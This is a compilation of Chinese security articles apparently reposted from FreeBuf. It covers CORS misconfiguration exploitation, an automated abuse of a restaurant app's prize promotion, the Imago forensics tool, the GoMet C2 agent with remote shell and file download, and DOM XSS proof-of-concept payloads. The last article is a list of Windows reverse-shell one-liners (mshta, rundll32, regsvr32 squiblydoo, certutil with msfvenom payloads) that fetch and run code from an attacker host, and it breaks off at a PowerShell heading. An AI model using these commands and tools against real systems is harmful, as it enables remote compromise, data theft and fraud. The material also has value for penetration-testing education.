同源策略(SOP)限制了应用程序之间的信息共享,并且仅允许在托管应用程序的域内共享。这有效防止了系统机密信息的泄露。但与此同时,也带来了另外的问题。随着Web应用程序和微服务使用的日益增长,出于实用目的往往需要将信息从一个子域传递到另一个子域,或者在不同域之间进行传递(例如将访问令牌和会话标识符,传递给另一个应用程序)。

为了允许跨域通信,开发人员必须使用不同的技术来绕过SOP并传递敏感信息,以至于现今也成为了一个棘手的安全问题。因此,为了在不影响应用程序安全状态的情况下实现信息共享,在HTML5中引入了跨源资源共享(CORS)。但问题也随之而来,许多人为了方便干脆直接使用默认的配置,或是由于缺乏对此的了解而导致了错误的配置。

因此,作为安全分析师/工程师,了解如何利用错误配置的CORS标头非常重要。这也将有助于你在灾难发生之前更好地对其进行补救。

什么是 CORS?

CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。它允许浏览器向跨源(协议 + 域名 + 端口)服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

CORS需要浏览器和服务器同时支持。它的通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。

关键 CORS 标头

有许多与CORS相关的HTTP标头,但以下三个响应标头对于安全性最为重要:

Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。

Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。

Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。

三个攻击场景

利用CORS标头中错误配置的通配符(*)

最常见的CORS配置错误之一是错误地使用诸如(*)之类的通配符,允许域请求资源。这通常设置为默认值,这意味着任何域都可以访问此站点上的资源。例如:

GET /api/userinfo.php
Host: www.victim.com
Origin: www.victim.com

当你发送上述请求时,你将获得具有Access-Control-Allow-Origin标头设置的响应。请参阅以下响应代码。

HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

在此示例中,标头配置了通配符(*)。 这意味着任何域都可以访问资源。

在测试我们客户的Web应用程序时,我们注意到了这种错误配置。我们能够利用它来获取用户信息,如姓名,用户ID,电子邮件ID,并能够将此信息发送到外部服务器。在下图中,我们将REQUEST Origin从受害者域修改为攻击者域。

1.png

以下是我们收到的响应,这意味着受害域允许访问来自所有站点的资源。我们的攻击案例中的Testing.aaa.com网站。

2.png

由于该站点共享来自任何站点的信息,因此让我们进一步的使用我们自己的域来利用它。我们创建了名为https://testing.aaa.com的域,并将其嵌入漏洞利用代码,以便从易受攻击的应用程序中窃取机密信息。当受害者在浏览器中打开https://testing.aaa.com时,它会检索敏感信息并发送给攻击者的服务器。以下是我们可以收集到的信息,如下图所示。

3.png

将信任域通配符作为 Origin

另一种常见的错误配置是允许与部分验证的域名共享信息。例如,以下请求:

GET /api/userinfo.php
Host: provider.com
Origin: requester.com

响应如下:

HTTP/1.0 200 OK
Access-Control-Allow-Origin: requester.com
Access-Control-Allow-Credentials: true

考虑一下开发人员是否配置了CORS来验证“Origin header”URL,白名单域只是“requester.com”。现在,当攻击者发起如下请求时:

GET /api/userinfo.php
Host: example.com
Connection: close
Origin: attackerrequester.com

服务器会响应:

HTTP/1.0 200 OK
Access-Control-Allow-Origin: attackerrequester.com
Access-Control-Allow-Credentials: true

发生这种情况的原因可能是后端配置错误,例如:

if ($_SERVER['HTTP_HOST'] == '*requester.com')
 {
  //Access data
  else{ // unauthorized access}
}

我们在客户的一个应用程序中遇到了这个问题。主机域“provider.com”信任以主机名“requester.com”结尾的所有来源,例如“attackerrequester.com”。 因此,我们将origin头部篡改为attackerrequester.com并继续执行请求。

4.png

在以下响应中,相同的origin在响应Access-control-Allow-Origin标头中,这意味着provider.com域允许共享资源到以requester.com结尾的域。

5.png

因此,我们可以创建一个由列入白名单的域名组成的新域名。然后,将恶意站点嵌入利用代码从而获取受害者站点上的敏感信息。

使用 XSS 实现 CORS 的利用

开发人员用于对抗CORS利用的一种防御机制,是将频繁请求访问信息的域列入白名单。但这并不完全安全,因为只要白名单域中的一个子域易受到其他攻击(如XSS),那么也可以进行CORS利用。

让我们看一个示例,以下代码将允许requester.com的子域访问provider.com的资源配置。

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
 {
  //Access data
  else{ // unauthorized access}
} 

假设用户可以访问sub.requester.com而不是requester.com,并且sub.requster.com易受XSS攻击。那么用户就可以使用XSS来利用provider.com。

我们在同一个域上托管了两个应用程序。CORS应用程序托管在testingcors.com上,另一个应用程序则托管在pavan.testingcors.com上,该应用程序易受XSS的攻击。

6.png

使用这个易受攻击的XSS子域,我们可以从testingcors.com上获取敏感信息。我们在“Name”参数中注入了恶意javascript payload。页面加载后,脚本将被执行,并从testingcors.com中获取敏感信息。

7.png

总结

CORS是上榜OWASP TOP 10的安全漏洞。在实现站点之间信息共享的过程中,人们往往会忽略CORS配置的重要性。作为开发人员或安全专家,了解此漏洞以及如何对它进行利用至关重要。

*参考来源:we45,FB小编secist编译,转载请注明来自FreeBuf.COM

如何发现Web App Yummy Days的安全漏洞

作为一个金融Web应用的开发人员,我对安全问题一直尤为关注。在过去的两年里,我参与的一些Web应用在进入生产模式之前,都会经过全面严格的安全检查,以确保它们在完全投入使用后的安全性。

在这次的经历中,也让我学到了很多关于安全的知识 – 如身份验证,潜在的危险请求,注入等等 – 以及如何设计更为安全的应用程序。

安全是我的激情所在,而吃又是我的另一种激情。午餐时间是我一天中最享受的时刻之一。 El Tenedor (在西班牙)/ The Fork 是预订餐厅的最方便的应用程序,其中包含很多的折扣,可以帮我省下不少的钱。

在本文中,我将向你展示我是如何发现Web App Yummy Days的安全漏洞的,以及如何构建一个简单的自动客户端,让我获得Yummy Days促销的奖品。

免责声明:本文中表达的观点是作者自己的观点,并不等同The Fork公司的观点。我已通过电子邮件通知了The Fork,他们已采取适当措施解决了该问题。此外,我还隐藏了URL等敏感信息。

注意:文中某些部分可能需要你具备一定的技术知识进行理解。

The Yummy Days

对于那些不熟悉的人来说,The Yummy Days是一个为期一周的促销活动,只要你在每日游戏中保持一致,你就可以赢得高达120€的免费餐和Yums的一套奖品,这些奖品将被添加到你的帐户并可兑换折扣(1000 Yums相当于餐厅账单10欧元的折扣)。

促销活动开始后,可以在The Fork app上看到一个活动banner。打开后的界面如下所示:

1.png

要参与游戏,你需要提供你的电子邮件,以获取游戏资格,然后单击“PLAY”按钮。提交此表单时,你必须要单击按钮才能触发动画并查看你是否赢得了奖品。

如何发现Web App Yummy Days的安全漏洞

你可以每天玩一次,连续玩7天,来赢得奖品。

如果你够幸运,你会从沙拉中取出一个Yum,这表明你获得了奖品,你将获得一个代码可以在下一个预订中使用,Yums会被添加到你的帐户。反之,你则会从沙拉中取出紫色的生菜(或其他紫色的东西),这表示你没有中将。

我玩了三四天这个游戏,获取到了大概300个Yums!

如何发现Web App Yummy Days的安全漏洞

对表单的思考

就在Yummy Days的最后一天,询问我电子邮件地址的表单无意中引起了我的注意和思考。促销页面是在某种嵌入式浏览器中打开的,我可以很容易地看到正在访问的URL( 隐藏在上图中)。

我很好奇,所以我在我的计算机上打开了一个URL,其中启用了谷歌浏览器及其开发者工具选项,以记录我在Yummy Days促销中的最后一次游戏中的所有请求。

如何发现Web App Yummy Days的安全漏洞

很不幸,但我可以分析请求日志,以了解在每日游戏中发生的事情。似乎用户界面正在向Restful API服务器发出请求,所以我保存了请求和响应,我尝试再次使用我的电子邮件地址,我被重定向到了一个说我已经玩过游戏的提示页面。

然后,我尝试再次使用我的另一个电子邮件地址,而不是在The Fork应用程序中注册,看看会发生什么,令人惊讶的是我能够再玩一次! 这意味着API未验证插入的电子邮件是否已在应用程序中注册。这意味着我可以使用随机电子邮件地址无限次地玩游戏,获取更多的奖品,但我不能够这么做。

有人可能会认为这不是一个严重的问题,因为,这需要我们手动填写一个随机的电子邮件地址,接受促销条件,在幸运的情况下保存代码,并反复重复整个过程。虽然这个人会获得一些奖品,但这不会对促销的结果产生太大影响,但我要是将这个过程自动化并在每秒钟重复一次呢?

自动化执行

有很多不同的方法可以来自动化这个过程,但我最喜欢的是Postman。Postman是一个客户端,它允许我们向API发出HTTP请求,并在每个请求前后执行代码片段。

如何发现Web App Yummy Days的安全漏洞

你还记得之前我使用Google Chrome Developer Tools记录的游戏过程中的所有请求吗?现在我们就要用到这些请求了。为此,我创建了一个包含三个请求的集合(Get Cookies,Fill Form 和 Play)。

第一个请求Get Cookies,它是HTTP GET到Yummy Dayspage的url请求。在Test选项卡中,你可以放置一段将在请求之后执行的代码,我设置了两个Postman环境变量,其中包含响应附带的两个Cookie的值,位于Set-Cookie header中,有效期为请求后15分钟。

如何发现Web App Yummy Days的安全漏洞

在第二个请求Fill Form中,我想复制表单提交,即HTTP POST到url。我创建了一个简单的预请求脚本,一个在请求之前执行的代码,用于设置一个随机生成的电子邮件地址的环境变量。

如何发现Web App Yummy Days的安全漏洞

我还使用这个生成的电子邮件设置了POST的JSON body,如下所示:

如何发现Web App Yummy Days的安全漏洞

第一次尝试返回500状态码(内部服务器错误),表明该请求有一些问题。查看Google Chrome中记录的请求,我将之前存储的两个Cookie与其他Cookie一起设置为了header,这次响应码为200,太棒了!

如何发现Web App Yummy Days的安全漏洞

最后在Play请求中,我将复制触发动画按钮的行为,以检查你是否赢得奖品。这是对URL的简单GET,使用前一个请求的相同标头。

我添加了一个test,以检查是否已赢得奖品,过滤尝试没有任何奖品或重复的电子邮件地址。如果在该尝试中有奖品,则对该请求的响应将记录在Postman控制台中。

如何发现Web App Yummy Days的安全漏洞

我已收集了三个可执行的请求,以便用一个随机的电子邮件地址来玩游戏,因此我可以在N次执行的迭代中执行这个请求。

如何发现Web App Yummy Days的安全漏洞

使用Collection Runner,我跑了100次游戏,但并没有获奖,所以我决定尝试更多的迭代次数,可以看到一个Playrequest的测试通过,并且以下JSON被记录到了控制台,表这明我赢得了奖品!

{
 “id”: 16490,
 “code”: “******”, //Code has been hidden
 “date_to_win”: “2018–06–10 17:36:56”,
 “type”: “300”, //300 Yums price
 “value”: 5, 
 “user_id”: 217467,
 “country_id”: 1,
 “created_at”: null,
 “updated_at”: “2018–06–10 17:36:57”
}

到这,我已经证明我可以自动获取Yummy Days的促销奖品,这似乎是基于时间和国家的(通过date_to_win和country_id属性就可以看出),并严重影响促销的结果(updated_at与date_to_win只相差了一秒!)。

天使还是恶魔?

如何发现Web App Yummy Days的安全漏洞

想象一个“邪恶”的场景:

如果我在促销期间不间断执行这些请求会发生什么?如果我为所有国家执行这些请求又会发生什么呢?

只要我愿意,我将能够获得大量的Yummy Days促销奖品。

另外,我需要知道的是它是否会对来自同一IP的大量请求有某种限制。恶魔总是贪婪的,我创建了一个简单的脚本,使用Newman在shell中无限循环运行导出的Postman collection:

while true; 
do newman run TheForkYummyDays.postman_collection.json; 
done

我不间断地执行了将近45分钟,但并没有被服务器阻止。在这段时间里,我共获得了35个奖品,300个Yums,其中包括1个1000的Yums和1个2000的Yums。

这时在我右肩的天使开始提醒我,并说服我让我停止,现在是时候通知The Fork有关漏洞的信息了。我给他们发了一封电子邮件,其中包含我赢得的不同奖品的折扣代码以及技术细节。

几天后,我收到了他们的邮件回复,并告知我说他们已将问题报告给技术部门解决,为此他们奖励了我1000 Yums的折扣码表示感谢!

缓解措施

在服务器端检查电子邮件是否是在The Fork上注册的

这应该是解决这个问题的最好方法,无论在UI上进行哪些检查,都应始终在服务器端完成安全检查。这将不允许任何未注册的电子邮件地址参与促销活动。

在The Fork应用程序中嵌入促销页面

如果Yummy Days促销页面嵌入在The Fork app中,而不是在嵌入式浏览器中打开,那么想要查看The Yummy Days的URL就会非常困难。如果你要嵌入iframe,那么我建议使用X-Frame-Options标头,只将此页面嵌入到允许的URL中,从而防止Clickjacking攻击。

阻止超过请求数限制的IP地址

如果同一IP在规定的时间段内超过一定数量的请求,应当进行限制或阻止。

*参考来源:hakin9,FB小编secist编译,转载请注明来自FreeBuf.COM

Digital-Forensics.jpg

Imago是一个由python编写的图像数字取证工具,它可以从图像中递归提取数字证据。在整个数字取证调查中,这款工具非常有用。如果你需要提取图像中的数字证据且数量较多,那么Imago将能够帮助你轻松地对比它们。此外,Imago还允许你将证据提取到CSV文件或sqlite数据库中。如果在JPEG exif中存在GPS坐标,Imago可以提取经度和纬度,并将它们转换为度数检索相关信息,如城市,国家,邮政编码等。

安装

通过pip

安装 imago:

$ pip install imago

安装完成后,应该有一个新的可用二进制文件:

$ imago

然后它应该输出imago banner。

依赖软件包

python 2.7
exifread 2.1.2
python-magic 0.4.15
argparse 1.4.0
pillow 5.2.0
nudepy 0.4
imagehash 4.0
geopy 1.16.0

使用

usage: imago.py [-h] -i INPUT [-x] [-g] [-e] [-n] [-d {md5,sha256,sha512,all}]
                [-p {ahash,phash,dhash,whash,all}] [-o OUTPUT] [-s]
                [-t {jpeg,tiff}]

optional arguments:
  -h, --help            show this help message and exit
  -i INPUT, --input INPUT
                        Input directory path
  -x, --exif            Extract exif metadata
  -g, --gps             Extract, parse and convert to coordinates, GPS exif
                        metadata from images (if any)It works only with JPEG.
  -e, --ela             Extract, Error Level Analysis image,It works only with
                        JPEG. *BETA*
  -n, --nude            Detect Nudity, It works only with JPEG, *BETA*
  -d {md5,sha256,sha512,all}, --digest {md5,sha256,sha512,all}
                        Calculate perceptual image hashing
  -p {ahash,phash,dhash,whash,all}, --percentualhash {ahash,phash,dhash,whash,all}
                        Calculate hash digest
  -o OUTPUT, --output OUTPUT
                        Output directory path
  -s, --sqli            Keep SQLite file after the computation
  -t {jpeg,tiff}, --type {jpeg,tiff}
                        Select the image, this flag can be JPEG or TIFF, if
                        this argument it is not provided, imago will process
                        all the image types(i.e. JPEG, TIFF)

唯一必需的参数是-i,它是imago将从中开始搜索图像文件的基目录。此外,你还应指定至少一种类型的提取(即exif,data,gps,digest)。

示例

例1:

$ imago -i /home/solvent/cases/c23/DCIM/ -o /home/solvent/cases/c23/ -x -s -t jpeg -d all

-i path:基目录,imago将从中搜索图像文件;

-o path:imago将使用提取的元数据保存CSV文件的输出目录;

-x:imago将提取EXIF元数据;

-s:处理后不会删除临时SQLite数据库;

-t jpeg:imago将仅搜索jpeg图像;

-d all:imago将为jpeg图像计算md5,sha256,sha512。

例2:

$ imago -i /root/Deskop/ -o /root/Desktop -x -g

2.JPG

特性

递归目录导航

文件 mtime(UTC)

文件 ctime(UTC)

文件 atime(UTC)

文件大小(字节)

MIME 类型

Exif 支持

CSV 导出

Sqlite 导出

md5,sha256,sha512

错误级别分析(测试)

完整的 GPS 支持

裸露检测(测试)

感知图像哈希

aHash

pHash

dHash

wHash

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

GoMet是一个Go编写的多平台Agent和控制器。Agent通过TLS隧道与其控制器通信。

构建

安装 Go (https://golang.org/dl/).

克隆存储库

git clone [email protected]:gomet-app/GoMet.git

并编译 GoMet

cd GoMet
go build ./...
go build .

基础使用

启动 GoMet

#> ./gomet


    ____       __  __      _
   / ___| ___ |  \/  | ___| |_
  | |  _ / _ \| |\/| |/ _ \ __|
  | |_| | (_) | |  | |  __/ |_
   \____|\___/|_|  |_|\___|\__|
                                     v0.0.1

server > info
Local listener: 0.0.0.0:8888
Socks listener: 127.0.0.1:9050
HTTP magic: khRoKbh3AZSHbix
server >
server > help

Commands:
  clear         清屏
  exit          退出
  generate      生成一个 agent
  help          显示帮助信息
  info          打印服务器信息
  routes        列出 routes
  sessions      列出 sessions

在目标系统上,下载相应操作系统和架构的Agent程序

wget https://<controller>:8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

控制器会自动使用正确的信息来构建 agent。

注意:“khRoKbh3AZSHbix”是由控制器随机生成的,在GoMet CLI中键入“info”以了更多关于它的内容。在本用例中,你必须添加 –no-check-certificate选项,因为默认TLS证书是自动签名的。

可用操作系统(参见 Golang GOOS):

linux
darwin
windows
solaris
...

可用架构(参见 Golang GOARCH):

386
amd64
arm
arm64
...

启动 agent

chmod +x agent
./agent

在 GoMet CLI 中,我们可以看到创建的新会话

server > New session 1 - <agent_hostname> - <agent_IP>:<agent_port> - darwin/amd64

会话交互

server > sessions open 1
session 1 > help

Commands:
  cat           打印文件
  clear         清屏
  close         关闭 session
  connect       连接一个本地端口到远端地址
  download      下载文件
  execute       执行命令
  exit          返回到服务器
  getuid        获取用户 Id
  help          显示帮助信息
  jobs          列出 jobs
  listen        连接一个远程端口到本地地址
  ls            列出文件
  netstat       列出连接
  ps            列出进程
  pwd           获取当前目录
  relay         中继侦听
  shell         远程shell交互
  streams       列出数据流
  upload        上传文件


session 1 >

TCP 转发

我们可以通过 agent TLS tunnel 双向转发 TCP 连接。

connect

在本地侦听端口(在控制器系统上)并将其转发到远程服务。

listen

在远程侦听端口(在代理系统上)并将其转发到本地服务。

Socks5 和 routing

我们可以在控制器上启用 Socks5 listener,以通过 agents 访问远程网络,并定义到不同会话的路由。

做一个中继

如果无法从目标系统访问控制器,我们可以在另一个 agent 上定义“中继”。 然后我们可以像控制器本身一样通过中继访问控制器。

session 1 > relay
Remote Address: 0.0.0.0:9999
session 1 >

并从目标系统

wget https://<relay>:9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

与控制器共享文件

控制器可以共享文件。

复制共享目录中的文件并使用 magic URL 下载

wget https://<controller>:8888/khRoKbh3AZSHbix/my_file --no-check-certificate

我们还可以将文件上传到控制器

wget https://<controller>:8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file

使用 CLI 生成 agent 

server > generate
OS: windows
Arch: amd64
Host: <controller>:8888
HTTP proxy:
HTTPS proxy:
Proxy username:
Proxy password:
Generated agent URL: https://<controller>:8888/Ye8o14kw1rpMJ8f/ySUxt7YT8X5fyat
server >

配置文件

默认配置文件位于 config/config.json 。

{
  "listenAddr":"0.0.0.0:8888",

  "socks": {
    "enable": true,
    "addr": "127.0.0.1:9050"
  },

  "api": {
    "enable": false,
    "addr": "127.0.0.1:9000"
  }
}

定义 tunnel

如果我们想通过隧道侦听,我们可以在配置文件中定义它。 实际上只有SSH。

{
  "listenAddr":"0.0.0.0:8888",

  "socks": {
    "enable": true,
    "addr": "127.0.0.1:9050"
  },

  "tunnel": {
    "listenAddr":"<exit_node>:8888",
    "nodes": [
      {
        "type":"ssh",
        "host": "<first_node>:22",
        "username": "user",
        "password": "user"
      },
      {
        "type":"ssh",
        "host": "<second_node>:22",
        "username": "user",
        "password": "user"
      },
      {
        "type":"ssh",
        "host": "<exit_node>:22",
        "username": "user",
        "password": "user"
      }
    ]
  }
}

自定义 TLS 证书

在 config 目录中会生成一个默认证书,但你也可以用你自己的证书来替换它。

注意:一旦更改了默认证书,则将重建所有 agents,因为证书的哈希值不同。

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

这一系列文章将为大家展示如何在单页或JavaScript富应用上,使用Sboxr实现DOM XSS漏洞的自动挖掘与利用。我们将以https://domgo.at靶场中的10个DOM XSS的小练习为例,并为检测到的问题创建简单的PoC。

本文包含了前两个练习的设置说明和解决方案。其余的我们将在后续的文章中陆续为大家呈现。我们还将在Appsecco books发布一个gitbook,其中包含了所有练习的解决方案,网址为https://appsecco.com/books/

什么是 DOM XSS/Client XSS?

纵观XSS的历史,DOM或客户端XSS在测试者和开发人员的心中都占有着特殊的地位。使用标准的XSS检测技术往往很难检测到它们,这种XSS漏洞大多发生在JS富应用上。

DOM型XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM型XSS漏洞。

Sboxr

Sboxr是一个用于测试和调试Web应用程序的工具,尤其是那些拥有大量JavaScript的应用程序。Sboxr处在浏览器和服务器之间运作,并注入它自己的JS代码(被称为DOM传感器),来监控JS使用,源,接收器,变量分配,函数调用等。然后,它会通过其Web控制台展示用户控制的数据的视图。

设置 Sboxr 和 Chrome

这里我使用的系统为Ubuntu 18.04,浏览器为Chrome 72。你可以遵循以下步骤进行设置:

获取Sboxr – https://sboxr.com/

Sboxr需要.NET Core SDK的支持,你可以按照https://dotnet.microsoft.com/download/linux-package-manager/ubuntu18-04/sdk-current上的说明,在Linux上进行安装。如果是Windows,请按照https://dotnet.microsoft.com/download上的说明进行操作

安装完成后,通过运行dotnet Sboxr.dll启动Sboxr

这将在3333端口上启动Sboxr Web界面(用于管理和分析发现的问题),端口3331为代理端口。

如果你希望使用Burp或其他代理,请浏览到http://localhost:3333/console,并单击HTTP Sensor设置上游代理(例如Burp或OWASP ZAP)的IP地址和端口。

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

设置完成后,我们还需要配置浏览器向Sboxr发送流量(然后可以转发到Burp或OWASP ZAP)。

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

Sboxr目前尚不支持SOCKS代理,因此你需要使用Burp或OWASP ZAP拦截流量。

如果是HTTPS站点Sboxr可能无法正常工作,因为没有要导入的证书。因此,我们使用带有–ignore-certificate-errors标记的Chrome忽略证书错误。

在Linux上,命令如下:

mkdir -p ~/.chrome;/opt/google/chrome/chrome -incognito --ignore-certificate-errors --proxy-server=http=http://localhost:3331\;https=http://localhost:3331 --user-data-dir=~/.chrome

在Windows上,操作如下(假设为默认安装路径):

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" -incognito --ignore-certificate-errors --proxy-server=http=http://localhost:3331;https=http://localhost:3331 --user-data-dir="C:\Users\%Username%\AppData\Local\Temp\TestChromeProxy"

DOM XSS 的检测和利用

下面我将为大家展示前两个DOM型XSS的小练习。

Exercise 1

打开https://domgo.at/,然后单击左侧选项栏中的Exercise 1。

切换到Sboxr控制台,并单击Sboxr侧栏中的Code Execution

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

从HTML上下文中可以看出,数据源是location.hashproperty,执行的接收器是HTMLElement.innerHTML

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

单击“View Code Execution”图标,你将看到代码执行的详细流程。

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

通过单击View event location details图标,我们可以清楚地看到JS中我们的数据在哪里被接收器HTMLElement.innerHTML所使用

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

为了展示location.hash属性是可利用的,我们通过源传递JS并让它到达接收器以查看它是否被执行。

我插入了<svg onload=alert(document.domain)>,并最终成功弹窗。 最终的漏洞利用PoC为 - https://domgo.at/cxss/example/1?payload=abcd&sp=x#<svg%20onload=alert(document.domain)>

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

Exercise 2

单击侧栏的Exercise 1以加载Exercise 1

单击侧栏上的Exercise 2以加载Exercise 2。记住,必须通过单击访问而不是直接打开URL,因为本练习中的源为document.referrer属性。

单击Sboxr侧栏中的“View Code Execution”图标

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

我们从易受攻击的代码中可以看到,如果URL中有一个名为payload的参数,则将其提取并传递给接收器。

我们可以使用以下简单的HTML页面构建我们的exploit。将其保存为exercise2.html并在本地托管(nginx/Apache/python/node/anything),并通过http://127.0.0.1/exercise2.html?payload=<svg%20onload=alert(document.domain)>链接进行利用:

<html>
    <body>
        <h2>PoC for Exercise 2 of https://domgo.at</h2>
        <script>
            window.location="https://domgo.at/cxss/example/2"
        </script>
    </body>
</html>

该页面将加载并立即重定向到练习页面,因为referrer属性是用户可控的所以代码执行是可能的。

使用Sboxr实现DOM XSS漏洞的自动挖掘与利用

以上就是本文的全部内容,在接下来的几天内我们将陆续发布剩余的练习演示。感谢阅读!

参考文献

Sboxr — https://sboxr.com

DOM/Client XSS — https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#DOM_Based_XSS_.28AKA_Type-0.29

Chrome 命令行 — https://dev.chromium.org/developers/how-tos/run-chromium-with-flags

*参考来源:appsecco,FB小编secist编译,转载请注明来自FreeBuf.COM

本文内容非常有助于那些参加CTF的人,因为今天我们将讨论“Windows One-Liner”,即使用PowerShell或rundll32等恶意命令来获取Windows系统的反向shell。通常,在滥用HTTP服务或其他程序时,我们会获取到RCE漏洞。 这个漏洞将允许你远程执行任意的系统命令。因此,我们准备了一个Windows命令列表,让你能够使用目标机器来获取反向连接。

Mshta.exe

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。我们可以运行JavaScript或VBScript的HTML文件。你可以使用Microsoft MSHTA.exe工具解析这些文件。

Metasploit包含一个生成恶意hta文件的“HTA Web Server”模块。该模块托管HTML应用程序(HTA),打开时将通过Powershell运行payload。当用户导航到HTA文件时,在执行payload之前IE将提示两次。

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

现在,让我们通过受害者机器上的mshta.exe(易受RCE攻击)运行恶意代码以获取meterpreter会话。

利用Windows one-liner获取反向Shell

一旦你在远程机器上成功执行了恶意hta文件,你将在本地计算机(Kali Linux)上获得一个反向连接。

mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta

利用Windows one-liner获取反向Shell

如下所示,我们成功获取到了受害者机器的meterpreter会话:

3.png利用Windows one-liner获取反向Shell

Rundll32.exe

Rundll32.exe与Windows系统相关联,允许你调用从DLL导出的函数(16位或32位)并将其存储在适当的内存库中。

通过Metasploit的SMB Delivery启动Rundll32攻击

Metasploit还包含了生成恶意dll文件的“SMB Delivery”模块。该模块通过SMB服务器提供payload,并提供检索和执行生成payload的命令。目前支持DLL和Powershell。

use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit

现在,让我们通过受害机器上的rundll32.exe运行恶意代码(易受RCE攻击)以获取meterpreter会话。

利用Windows one-liner获取反向Shell

一旦你在远程机器上成功执行了dll文件,你将在本地计算机(Kali Linux)上获取到一个反向连接。

rundll32.exe \\192.168.1.109\vabFG\test.dll,0

利用Windows one-liner获取反向Shell

如下所示,我们成功获取到了受害者机器的meterpreter会话:

利用Windows one-liner获取反向Shell

Regsvr32.exe

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,例如Windows注册表中的DLL和ActiveX控件。Regsvr32.exe安装在Windows XP及更高版本Windows的%systemroot%\System32文件夹中。

RegSvr32.exe具有以下命令行选项:

Syntax: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>

/u – 取消注册服务器

/i – 调用DllInstall传递一个可选的[cmdline];当它与/u一起使用时,它会调用dll来卸载

/n – 不要调用DllRegisterServer;此选项必须与/i一起使用

/s – 静默;不显示消息框

通过Metasploit的Script Web Delivery启动Regsvr32

该模块将快速启动一个为payload提供服务的Web服务器,并提供下载和执行的命令。它将通过指定的脚本语言解释器或“squiblydoo”通过regsvr32.exe,绕过应用程序白名单。此模块的主要目的是在攻击者必须手动键入命令时,在目标计算机上快速建立会话:如,命令注入。

Regsvr32使用“squiblydoo”技术绕过应用程序白名单。签名的Microsoft二进制文件Regsvr32能够请求.sct文件,然后在其中执行包含的PowerShell命令。两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上发生。“PSH(Binary)”会将文件写入磁盘,允许自定义二进制文件被下载/执行。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

复制以下框中的文本

利用Windows one-liner获取反向Shell

一旦你在远程机器上成功执行了scrobj.dll文件,你将在本地计算机(Kali Linux)上获取到一个反向连接。

regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

8.png

如下所示,我们成功获取到了受害者机器的meterpreter会话:

利用Windows one-liner获取反向Shell

Certutil.exe

Certutil.exe是一个命令行程序,作为证书服务的一部分安装。 我们可以使用它在目标计算机上执行我们的恶意exe文件,以获取meterpreter会话。

通过Msfvenom启动certutil攻击

使用msfvenom生成恶意可执行(.exe)文件,并启动multi/handler以获取受害者计算机的反向shell。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

利用Windows one-liner获取反向Shell

现在,使用certutil转储配置信息或shell.exe文件。你可以遵循以下语法:

Syntax: [-f] [-urlcache] [-split] Path of executable file
certutil.exe -urlcache -split -f //192.168.1.109/shell.exe shell.exe & shell.exe

利用Windows one-liner获取反向Shell

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

如下所示,我们成功获取到了受害者机器的meterpreter会话:

利用Windows one-liner获取反向Shell

Powershell.exe

